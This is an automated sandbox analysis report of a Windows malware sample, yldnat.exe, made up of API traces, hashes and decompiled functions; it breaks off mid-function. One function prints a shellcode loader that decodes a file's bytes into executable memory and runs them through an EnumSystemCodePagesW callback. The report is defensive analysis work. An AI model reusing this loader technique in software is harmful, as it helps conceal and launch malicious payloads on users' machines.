Uniqueness Score: -1.00%

Analysis Process: yldnat.exePID: 1148, Parent PID: 2172COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	5.2%
Signature Coverage:	7.4%
Total number of Nodes:	1735
Total number of Limit Nodes:	105

Executed Functions

Function 001103F8 Relevance: 10.7, APIs: 7, Instructions: 201
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001104DB
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00110502
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00110519
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 0011053D
CloseHandle.KERNELBASE(00000000,?), ref: 001105AE
VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 001105B9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00110611

Memory Dump Source

Source File: 00000005.00000002.983374301.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_yldnat.jbxd

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: ac91823fcceb24bdfeaa8284b71a33b08aac73ab2278b65ec93cbc451416ea79
Instruction ID: 23e7e3ec1d874543399889dcedba6982004996730a8fd7fdd46acb78cc4e355a
Opcode Fuzzy Hash: ac91823fcceb24bdfeaa8284b71a33b08aac73ab2278b65ec93cbc451416ea79
Instruction Fuzzy Hash: AD619F34E00214ABCF19DBA4C984BEEBBB6AF98710F144129E545EB290DBB49DC1CF94

Uniqueness

Uniqueness Score: -1.00%

Function 001111BE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 00111302

Strings

D, xrefs: 0011128B

Memory Dump Source

Source File: 00000005.00000002.983374301.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_yldnat.jbxd

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: de44eb80b07b3cc25024ca8b06665abb1d1dc4947ad57d65267bb3f94c5156e7
Instruction ID: 41f9b199263ca8a4ff87b00d05586a811bac635f1ece6d99b0d86e7d3a9efc9a
Opcode Fuzzy Hash: de44eb80b07b3cc25024ca8b06665abb1d1dc4947ad57d65267bb3f94c5156e7
Instruction Fuzzy Hash: 64A1F570E10109EFDB49DFA4C981BEEBBB5BF48744F204465EA16EB290D770AA81DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00110809 Relevance: 7.7, APIs: 5, Instructions: 191
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001109BC

Memory Dump Source

Source File: 00000005.00000002.983374301.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_yldnat.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 47efa2f738dbac7ff5fd3ee764efba75c5530c771d0827437343daff64dab558
Instruction ID: fd52e687362eedd8e61ac858e4a4c07ec91efa67575b98c20d31f47e947446e1
Opcode Fuzzy Hash: 47efa2f738dbac7ff5fd3ee764efba75c5530c771d0827437343daff64dab558
Instruction Fuzzy Hash: DB714B35E50348EADF55DBE4E912BEDB7B5AF88710F204426E109FB2E0DBB11A80DB05

Uniqueness

Uniqueness Score: -1.00%

Function 013B12B8 Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E013B12B8(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				char* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __esi;
				signed int _t74;
				signed int _t78;
				char _t81;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				char* _t99;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				char* _t110;
				signed int _t113;
				signed int _t117;
				signed int _t119;
				void* _t120;

				_t99 = _a4;
				_t74 = _a8;
				_v8 = _t99;
				_v12 = _t74;
				if(_a12 == 0) {
					L5:
					return 0;
				}
				_t97 = _a16;
				if(_t97 == 0) {
					goto L5;
				}
				if(_t99 != 0) {
					_t119 = _a20;
					__eflags = _t119;
					if(_t119 == 0) {
						L9:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
							_t74 = E013B1530(_t99, 0, _a8);
							_t120 = _t120 + 0xc;
						}
						__eflags = _t119;
						if(_t119 == 0) {
							goto L3;
						} else {
							_t78 = _t74 | 0xffffffff;
							__eflags = _t97 - _t78 / _a12;
							if(_t97 > _t78 / _a12) {
								goto L3;
							}
							L13:
							_t117 = _a12 * _t97;
							__eflags =  *(_t119 + 0xc) & 0x0000010c;
							_t98 = _t117;
							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
								_t100 = 0x1000;
							} else {
								_t100 =  *(_t119 + 0x18);
							}
							_v16 = _t100;
							__eflags = _t117;
							if(_t117 == 0) {
								L41:
								return _a16;
							} else {
								do {
									__eflags =  *(_t119 + 0xc) & 0x0000010c;
									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
										L24:
										__eflags = _t98 - _t100;
										if(_t98 < _t100) {
											_t81 = E013B2752(_t98, _t119, _t119); // executed
											__eflags = _t81 - 0xffffffff;
											if(_t81 == 0xffffffff) {
												L46:
												return (_t117 - _t98) / _a12;
											}
											_t102 = _v12;
											__eflags = _t102;
											if(_t102 == 0) {
												L42:
												__eflags = _a8 - 0xffffffff;
												if(_a8 != 0xffffffff) {
													E013B1530(_a4, 0, _a8);
												}
												 *((intOrPtr*)(E013B1CC3())) = 0x22;
												L4:
												E013B1E89();
												goto L5;
											}
											_t110 = _v8;
											 *_t110 = _t81;
											_t98 = _t98 - 1;
											_v8 = _t110 + 1;
											_t103 = _t102 - 1;
											__eflags = _t103;
											_v12 = _t103;
											_t100 =  *(_t119 + 0x18);
											_v16 = _t100;
											goto L40;
										}
										__eflags = _t100;
										if(_t100 == 0) {
											_t86 = 0x7fffffff;
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t86 = _t98;
											}
										} else {
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t44 = _t98 % _t100;
												__eflags = _t44;
												_t113 = _t44;
												_t91 = _t98;
											} else {
												_t113 = 0x7fffffff % _t100;
												_t91 = 0x7fffffff;
											}
											_t86 = _t91 - _t113;
										}
										__eflags = _t86 - _v12;
										if(_t86 > _v12) {
											goto L42;
										} else {
											_push(_t86);
											_push(_v8);
											_push(E013B2873(_t119)); // executed
											_t88 = E013B2A2A(); // executed
											_t120 = _t120 + 0xc;
											__eflags = _t88;
											if(_t88 == 0) {
												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
												goto L46;
											}
											__eflags = _t88 - 0xffffffff;
											if(_t88 == 0xffffffff) {
												L45:
												_t64 = _t119 + 0xc;
												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
												__eflags =  *_t64;
												goto L46;
											}
											_t98 = _t98 - _t88;
											__eflags = _t98;
											L36:
											_v8 = _v8 + _t88;
											_v12 = _v12 - _t88;
											_t100 = _v16;
											goto L40;
										}
									}
									_t94 =  *(_t119 + 4);
									_v20 = _t94;
									__eflags = _t94;
									if(__eflags == 0) {
										goto L24;
									}
									if(__eflags < 0) {
										goto L45;
									}
									__eflags = _t98 - _t94;
									if(_t98 < _t94) {
										_t94 = _t98;
										_v20 = _t98;
									}
									_t104 = _v12;
									__eflags = _t94 - _t104;
									if(_t94 > _t104) {
										goto L42;
									} else {
										E013B2897(_v8, _t104,  *_t119, _t94);
										_t88 = _v20;
										_t120 = _t120 + 0x10;
										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
										_t98 = _t98 - _t88;
										 *_t119 =  *_t119 + _t88;
										goto L36;
									}
									L40:
									__eflags = _t98;
								} while (_t98 != 0);
								goto L41;
							}
						}
					}
					_t74 = (_t74 | 0xffffffff) / _a12;
					__eflags = _t97 - _t74;
					if(_t97 <= _t74) {
						goto L13;
					}
					goto L9;
				}
				L3:
				 *((intOrPtr*)(E013B1CC3())) = 0x16;
				goto L4;
			}

0x013b12c2
0x013b12c5
0x013b12cb
0x013b12ce
0x013b12d1
0x013b12ee
0x00000000
0x013b12ee
0x013b12d3
0x013b12d8
0x00000000
0x00000000
0x013b12dc
0x013b12f7
0x013b12fa
0x013b12fc
0x013b130a
0x013b130a
0x013b130e
0x013b1316
0x013b131b
0x013b131b
0x013b131e
0x013b1320
0x00000000
0x013b1322
0x013b1322
0x013b132a
0x013b132c
0x00000000
0x00000000
0x013b132e
0x013b1331
0x013b1334
0x013b133b
0x013b133d
0x013b1344
0x013b133f
0x013b133f
0x013b133f
0x013b1349
0x013b134c
0x013b134e
0x013b1437
0x00000000
0x013b1354
0x013b1354
0x013b1354
0x013b135b
0x013b139c
0x013b139c
0x013b139e
0x013b1409
0x013b140f
0x013b1412
0x013b1469
0x00000000
0x013b146f
0x013b1414
0x013b1417
0x013b1419
0x013b143f
0x013b143f
0x013b1443
0x013b144d
0x013b1452
0x013b145a
0x013b12e9
0x013b12e9
0x00000000
0x013b12e9
0x013b141b
0x013b141e
0x013b1421
0x013b1422
0x013b1425
0x013b1425
0x013b1426
0x013b1429
0x013b142c
0x00000000
0x013b142c
0x013b13a0
0x013b13a2
0x013b13c6
0x013b13cb
0x013b13d1
0x013b13d3
0x013b13d3
0x013b13a4
0x013b13a6
0x013b13ac
0x013b13be
0x013b13be
0x013b13be
0x013b13c0
0x013b13ae
0x013b13b3
0x013b13b5
0x013b13b5
0x013b13c2
0x013b13c2
0x013b13d5
0x013b13d8
0x00000000
0x013b13da
0x013b13da
0x013b13db
0x013b13e5
0x013b13e6
0x013b13eb
0x013b13ee
0x013b13f0
0x013b1477
0x00000000
0x013b1477
0x013b13f6
0x013b13f9
0x013b1465
0x013b1465
0x013b1465
0x013b1465
0x00000000
0x013b1465
0x013b13fb
0x013b13fb
0x013b13fd
0x013b13fd
0x013b1400
0x013b1403
0x00000000
0x013b1403
0x013b13d8
0x013b135d
0x013b1360
0x013b1363
0x013b1365
0x00000000
0x00000000
0x013b1367
0x00000000
0x00000000
0x013b136d
0x013b136f
0x013b1371
0x013b1373
0x013b1373
0x013b1376
0x013b1379
0x013b137b
0x00000000
0x013b1381
0x013b1388
0x013b138d
0x013b1390
0x013b1393
0x013b1396
0x013b1398
0x00000000
0x013b1398
0x013b142f
0x013b142f
0x013b142f
0x00000000
0x013b1354
0x013b134e
0x013b1320
0x013b1303
0x013b1306
0x013b1308
0x00000000
0x00000000
0x00000000
0x013b1308
0x013b12de
0x013b12e3
0x00000000

APIs

_memset.LIBCMT ref: 013B1316
_memcpy_s.LIBCMT ref: 013B1388
__read_nolock.LIBCMT ref: 013B13E6
__filbuf.LIBCMT ref: 013B1409
_memset.LIBCMT ref: 013B144D

Part of subcall function 013B1CC3: __getptd_noexit.LIBCMT ref: 013B1CC3

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: d285b6dd1113a55ae780a990317947fbbdadd265687160ebd386bed1a57fb8fe
Instruction ID: acacb248b804a03453a91d40d44469e5890e7d70ccea0f1c8cc7e2e41a98c018
Opcode Fuzzy Hash: d285b6dd1113a55ae780a990317947fbbdadd265687160ebd386bed1a57fb8fe
Instruction Fuzzy Hash: 2751EA70A013099BDB248F6DE8E05EE7BB5AF40328F148729EB29D6ED0F77499508B41

Uniqueness

Uniqueness Score: -1.00%

Function 013B1000 Relevance: 7.6, APIs: 5, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E013B1000(void* __ecx, void* __eflags, intOrPtr _a12) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				intOrPtr _t6;
				void* _t7;
				_Unknown_base(*)()* _t8;
				void* _t18;
				_Unknown_base(*)()* _t19;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr* _t32;

				_push(_t18);
				_t26 = 0; // executed
				_t6 = E013B1147(_t18, _t24, 0, 0x17d78400); // executed
				 *_t32 = 0x13c3000;
				_v8 = _t6;
				_t7 = E013B11D9(_a12, _t25); // executed
				_t8 = VirtualAlloc(0, 0x1487, 0x3000, 0x40); // executed
				_t19 = _t8;
				E013B147D(_t19, 0x1487, 1, _t7); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					E013B1530(_t10, 0xcb, 0x17d78400);
					do {
						 *((char*)(_t19 + _t26)) = ( *((intOrPtr*)(_t19 + _t26)) + 0x00000001 ^ 0x000000dd) - 0x3b;
						_t26 = _t26 + 1;
					} while (_t26 < 0x1487);
					EnumSystemCodePagesW(_t19, 0); // executed
				}
				return 0;
			}

0x013b1004
0x013b100c
0x013b100e
0x013b1013
0x013b101d
0x013b1020
0x013b1036
0x013b1044
0x013b1048
0x013b104d
0x013b1055
0x013b1062
0x013b106a
0x013b1073
0x013b1076
0x013b1077
0x013b107e
0x013b107e
0x013b108a

APIs

_malloc.LIBCMT ref: 013B100E

Part of subcall function 013B1147: __FF_MSGBANNER.LIBCMT ref: 013B115E
Part of subcall function 013B1147: __NMSG_WRITE.LIBCMT ref: 013B1165
Part of subcall function 013B1147: RtlAllocateHeap.NTDLL(00800000,00000000,00000001,00000000,00000000,00000000,?,013B48C7,00000000,00000000,00000000,00000000,?,013B44F9,00000018,013C2280), ref: 013B118A

Part of subcall function 013B11D9: __wfsopen.LIBCMT ref: 013B11E4

VirtualAlloc.KERNELBASE(00000000,00001487,00003000,00000040), ref: 013B1036
__fread_nolock.LIBCMT ref: 013B1048
_memset.LIBCMT ref: 013B1062
EnumSystemCodePagesW.KERNELBASE(00000000,00000000), ref: 013B107E

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: AllocAllocateCodeEnumHeapPagesSystemVirtual__fread_nolock__wfsopen_malloc_memset
String ID:
API String ID: 3693343133-0
Opcode ID: e970ffc898febc9680fec2f7fe5dc0a3a1cd131c7bfdfc0643763fde97308cae
Instruction ID: d33b299ec09634e5aaa5e3fabe5523ab3d0286d94cd664b55446cccf0118649c
Opcode Fuzzy Hash: e970ffc898febc9680fec2f7fe5dc0a3a1cd131c7bfdfc0643763fde97308cae
Instruction Fuzzy Hash: 370126726043447BF7212A7AAC9BFDF3F5CDB51B5CF100865FB02AA581F9A498019274

Uniqueness

Uniqueness Score: -1.00%

Function 013B1498 Relevance: 3.0, APIs: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E013B1498(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t16;
				intOrPtr _t19;
				intOrPtr _t29;
				void* _t32;

				_push(0xc);
				_push(0x13c2170);
				E013B2400(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t32 - 0x1c)) = 0;
				if( *((intOrPtr*)(_t32 + 0x10)) == 0 ||  *((intOrPtr*)(_t32 + 0x14)) == 0) {
					L6:
					_t16 = 0;
				} else {
					_t31 =  *((intOrPtr*)(_t32 + 0x18));
					if( *((intOrPtr*)(_t32 + 0x18)) != 0) {
						E013B1F5E(_t31);
						 *((intOrPtr*)(_t32 - 4)) = 0;
						_t19 = E013B12B8( *((intOrPtr*)(_t32 + 8)),  *((intOrPtr*)(_t32 + 0xc)),  *((intOrPtr*)(_t32 + 0x10)),  *((intOrPtr*)(_t32 + 0x14)), _t31); // executed
						_t29 = _t19;
						 *((intOrPtr*)(_t32 - 0x1c)) = _t29;
						 *((intOrPtr*)(_t32 - 4)) = 0xfffffffe;
						E013B1521(_t31);
						_t16 = _t29;
					} else {
						if( *((intOrPtr*)(_t32 + 0xc)) != 0xffffffff) {
							E013B1530( *((intOrPtr*)(_t32 + 8)), 0,  *((intOrPtr*)(_t32 + 0xc)));
						}
						 *((intOrPtr*)(E013B1CC3())) = 0x16;
						E013B1E89();
						goto L6;
					}
				}
				return E013B2445(_t16);
			}

0x013b1498
0x013b149a
0x013b149f
0x013b14a6
0x013b14ac
0x013b14df
0x013b14df
0x013b14b3
0x013b14b3
0x013b14b8
0x013b14e8
0x013b14ee
0x013b14fe
0x013b1506
0x013b1508
0x013b150b
0x013b1512
0x013b1517
0x013b14ba
0x013b14be
0x013b14c7
0x013b14cc
0x013b14d4
0x013b14da
0x00000000
0x013b14da
0x013b14b8
0x013b14e6

APIs

_memset.LIBCMT ref: 013B14C7
__lock_file.LIBCMT ref: 013B14E8

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 6f8065497089b3ada01df9150b9e27fbdab7ef0b7031397e28f6f65260da8c35
Instruction ID: 5205364ee4fcf7023bf3186f6ae3dd705cb9b0401d3d017c318f8eeaab77d866
Opcode Fuzzy Hash: 6f8065497089b3ada01df9150b9e27fbdab7ef0b7031397e28f6f65260da8c35
Instruction Fuzzy Hash: 7C01887180020AEBCF21AFADBC504DF7F71AF90728F144215EB1866950F7758A11DF91

Uniqueness

Uniqueness Score: -1.00%

Function 013B11D9 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E013B11D9(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E013B11EE(_t4, _t5, _t6, _t9); // executed
				return _t3;
			}

0x013b11dc
0x013b11de
0x013b11e1
0x013b11e4
0x013b11ed

APIs

__wfsopen.LIBCMT ref: 013B11E4

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 08ed1a97a1e799ba619fac02dc7a86af1dcdbc11624d2e39632d5bd9d2188f94
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 62B0927254120C77CE112AC6EC02A893B199B50664F008020FB0C18960A673A6609689

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 013B43CC Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013B43CC(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x013b43d1
0x013b43e1

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 013B43D1
UnhandledExceptionFilter.KERNEL32(?), ref: 013B43DA

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5b9c0a738ab1ab09926d7a426fad7f59261a5e3933b82d899e635a646c12db66
Instruction ID: afafde0d2f0fd561e882fa020043f61e94ddf7aeeeb6fe85f92d4f215447bba8
Opcode Fuzzy Hash: 5b9c0a738ab1ab09926d7a426fad7f59261a5e3933b82d899e635a646c12db66
Instruction Fuzzy Hash: 14B09235044208ABCB102B9AE88DBC83F2CEB14753F100420F70E44056EB6254108B92

Uniqueness

Uniqueness Score: -1.00%

Function 013B439B Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013B439B(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x013b43a8

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 013B43A1

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: eb0735900ec16b4948008573bf810dea2ff35a60c0ee1d6dcb987e3655a38303
Instruction ID: fad76ee31edde4b45b1951a771a8243df1107a2e695a3c4ca93def39566f9de9
Opcode Fuzzy Hash: eb0735900ec16b4948008573bf810dea2ff35a60c0ee1d6dcb987e3655a38303
Instruction Fuzzy Hash: E5A0113000020CABCA002A8AE8888C83F2CEA002A2B000020FA0C00022EB22A8208A82

Uniqueness

Uniqueness Score: -1.00%

Function 013B1D17 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013B1D17() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x13c4834 = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x013b1d17
0x013b1d1f
0x013b1d2b

APIs

GetProcessHeap.KERNEL32(013B1629,013C2190,00000014), ref: 013B1D17

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ea194f36308a7be998ed5b581dbee86df8bc5e8fe528f464d675619cec3bfe07
Instruction ID: 50578eead6f183e300877bff4ac25a44c0b053f9ed5ba20402d0964281b76953
Opcode Fuzzy Hash: ea194f36308a7be998ed5b581dbee86df8bc5e8fe528f464d675619cec3bfe07
Instruction Fuzzy Hash: FAB012B03032024BC7180B3D75A414A39DC6708301704003D7107C1188FF20C410DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00110A41 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.983374301.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee78ce192f1e0359bd16443b34b42dcf04ebaf259c185fd8bd1d79e4b24057
Instruction ID: 1d8a7687d2d980c93af267717f2eade03ba97f4240c287792347ea03cabc4e46
Opcode Fuzzy Hash: 4bee78ce192f1e0359bd16443b34b42dcf04ebaf259c185fd8bd1d79e4b24057
Instruction Fuzzy Hash: 27F1015085D2E9ADDB06CBFD45643FCBFB05E26102F0845DAE0E5E6283C53A938EDB25

Uniqueness

Uniqueness Score: -1.00%

Function 013B38A8 Relevance: 12.2, APIs: 8, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E013B38A8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				signed int _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				signed int _t105;
				intOrPtr _t106;
				intOrPtr* _t109;
				signed char _t111;
				long _t119;
				intOrPtr _t129;
				signed int _t133;
				void* _t135;
				signed int _t138;
				void** _t139;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				signed int _t147;
				signed int _t149;
				void* _t150;
				signed int _t154;
				void* _t155;
				void* _t156;

				_push(0x64);
				_push(0x13c2260);
				E013B2400(__ebx, __edi, __esi);
				E013B442F(0xb);
				 *((intOrPtr*)(_t155 - 4)) = 0;
				_push(0x40);
				_t141 = 0x20;
				_push(_t141);
				_t82 = E013B4869();
				_t133 = _t82;
				 *(_t155 - 0x24) = _t133;
				if(_t133 != 0) {
					 *0x13c4848 = _t82;
					 *0x13c50e4 = _t141;
					while(1) {
						__eflags = _t133 - 0x800 + _t82;
						if(_t133 >= 0x800 + _t82) {
							break;
						}
						 *((short*)(_t133 + 4)) = 0xa00;
						 *_t133 =  *_t133 | 0xffffffff;
						 *((intOrPtr*)(_t133 + 8)) = 0;
						 *(_t133 + 0x24) =  *(_t133 + 0x24) & 0x00000080;
						 *(_t133 + 0x24) =  *(_t133 + 0x24) & 0x0000007f;
						 *((short*)(_t133 + 0x25)) = 0xa0a;
						 *((intOrPtr*)(_t133 + 0x38)) = 0;
						 *((char*)(_t133 + 0x34)) = 0;
						_t133 = _t133 + 0x40;
						 *(_t155 - 0x24) = _t133;
						_t82 =  *0x13c4848; // 0x82f258
					}
					GetStartupInfoW(_t155 - 0x74);
					__eflags =  *((short*)(_t155 - 0x42));
					if( *((short*)(_t155 - 0x42)) == 0) {
						L27:
						_t129 = 0xfffffffe;
						L28:
						_t142 = 0;
						__eflags = 0;
						while(1) {
							 *(_t155 - 0x2c) = _t142;
							__eflags = _t142 - 3;
							if(_t142 >= 3) {
								break;
							}
							_t147 = (_t142 << 6) +  *0x13c4848;
							 *(_t155 - 0x24) = _t147;
							__eflags =  *_t147 - 0xffffffff;
							if( *_t147 == 0xffffffff) {
								L33:
								 *(_t147 + 4) = 0x81;
								__eflags = _t142;
								if(_t142 != 0) {
									_t65 = _t142 - 1; // -1
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
									__eflags = _t90;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t155 - 0x1c) = _t91;
								__eflags = _t91 - 0xffffffff;
								if(_t91 == 0xffffffff) {
									L45:
									 *(_t147 + 4) =  *(_t147 + 4) | 0x00000040;
									 *_t147 = _t129;
